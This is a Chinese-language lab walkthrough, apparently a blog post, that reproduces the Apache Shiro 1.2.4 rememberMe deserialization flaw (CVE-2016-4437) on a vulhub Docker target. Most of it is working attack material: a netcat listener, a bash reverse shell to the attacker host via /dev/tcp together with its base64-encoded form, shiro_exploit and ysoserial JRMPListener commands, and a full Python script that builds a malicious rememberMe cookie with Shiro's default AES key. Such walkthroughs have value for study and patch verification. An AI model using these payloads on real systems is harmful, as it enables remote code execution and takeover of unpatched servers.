复现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
impulse- 人气:0靶机IP(Ubuntu):192.168.43.185
攻击IP(kali):192.168.43.37
一、docker环境搭建
打开vulhub靶机,目录定位到vulhub-master/shiro/CVE-2016-4437目录下
并使用docker-compose build
与docker-compose up -d
建立并启动docker
查看靶机内网地址:192.168.43.185
浏览器访问http://192.168.43.185:8080
二、使用Shiro_exploit进行漏洞利用
1.使用Shiro_exploit检测是否存在shiro漏洞
项目地址:https://github.com/insightglacier/Shiro_exploit
使用命令
python shiro_exploit.py -u http://192.168.43.185:8080
vulnerable:True表示存在shiro漏洞
2.使用Shiro_exploit进行反弹shell利用
kali监听2222端口
nc -lvp 2222
3.对反弹shell命令进行加密利用
命令加密可用网站http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.43.37/2222 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i} //加密后
结合poc的-p参数进行漏洞利用
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash加密命令"
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"
2222端口监听到反弹过来的shell
三、利用ysoserial复现漏洞
1.ysoserial工具
ysoserial 集合了各种java反序列化payload的反序列化工具
下载:https://github.com/frohoff/ysoserial
因为ysoserial是一个Java项目,它需要本地配置mvn环境(全称Maven,是基于项目对象模型的软件项目管理工具)依据Java项目的pom.xml文件自动化配置获取jar包,所以本地需要Java与mvn环境
使用mvn clean package -DskipTests
命令打包项目
生成完工具之后放到kali攻击机上使用
验证目标是否搭建shiro,在前端登录界面抓登录包,用burp查看响应包是否存在rememberMe=deleteMe字段
2.使用ysoserial进行反弹shell利用
kali监听2222端口
同时另开终端执行反弹shell的Java监听命令(ysoserial.exploit.JRMPListener监听6666端口):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'
(注:bash加密命令前的CommonsCollections后面数字要写5,网上的payload都写CommonsCollections4,可能是Java环境问题,CommonsCollections4一直反弹不到shell,只在Java端口监听到会话,联想到前面使用Shiro_exploit的时候,会使用CommonsCollections1,2,3,4,5等各种方式进行测试,所以尝试更改了CommonsCollections就有效果了)
将以下生成cookie的poc代码命名为shiro.py放到target目录下
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
以python2执行命令:
python shiro.py 攻击者IP:攻击者监听的java端口
在前端页面抓一个勾选remember me的数据包
将生成的cookie复制到数据包中
重放之后在Java监听端可看到会话
同时在2222端口可监听到反弹回来的shell
四、使用一键利用工具复现
一键利用工具
项目地址:
https://github.com/feihong-cs/ShiroExploit/releases/tag/v2.3
选择好对应的 shiro550,填入靶场地址,下一步
选择dnslog.cn进行检测(ceye.io会慢)
在下方对话框出现Find Valid Gadget的时候,就可以执行反弹shell了
加载全部内容